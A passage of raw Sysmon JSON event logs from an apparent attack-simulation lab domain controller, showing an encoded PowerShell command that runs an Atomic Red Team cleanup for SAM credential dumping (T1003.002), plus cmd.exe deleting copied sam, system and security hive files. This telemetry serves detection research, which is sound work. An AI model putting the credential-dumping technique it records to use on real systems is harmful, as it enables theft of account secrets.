ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.025","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4174-5F2D-0000-00109CC50800}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5798,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:36.025\r\nProcessGuid: {90617006-4173-5F2D-0000-00101EC20800}\r\nProcessId: 2692\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\fquo5tdv\\fquo5tdv.dll\r\nCreationUtcTime: 2020-08-07 11:56:35.963","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:36.025","ProcessGuid":"{90617006-4173-5F2D-0000-00101EC20800}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\fquo5tdv\\fquo5tdv.dll","CreationUtcTime":"2020-08-07 11:56:35.963","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5799,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.505\r\nProcessGuid: {90617006-4174-5F2D-0000-001032C70800}\r\nProcessId: 1168\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: \"C:\\Windows\\system32\\cmd.exe\" /c \"del %%temp%%\\sam >nul 2> nul & del %%temp%%\\system >nul 2> nul & del %%temp%%\\security >nul 2> nul\" \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4173-5F2D-0000-0010ABA40800}\r\nParentProcessId: 2512\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.505","ProcessGuid":"{90617006-4174-5F2D-0000-001032C70800}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"\"C:\\Windows\\system32\\cmd.exe\" /c \"del %%temp%%\\sam >nul 2> nul & del %%temp%%\\system >nul 2> nul & del %%temp%%\\security >nul 2> nul\" ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4173-5F2D-0000-0010ABA40800}","ParentProcessId":"2512","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5800,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.494\r\nSourceProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nSourceProcessId: 2512\r\nSourceThreadId: 5112\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nTargetProcessId: 1168\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4efc68|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4efadc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c572308|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e86c4|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa1667|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c50f38b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f2881|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e4806|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c51d996","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.494","SourceProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","SourceProcessId":"2512","SourceThreadId":"5112","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010F3CE0700}","TargetProcessId":"1168","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4efc68|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4efadc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c572308|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e86c4|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa1667|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c50f38b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f2881|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e4806|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c51d996","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5801,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.494\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nTargetProcessId: 1168\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.494","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010F3CE0700}","TargetProcessId":"1168","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5802,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5803,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5804,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.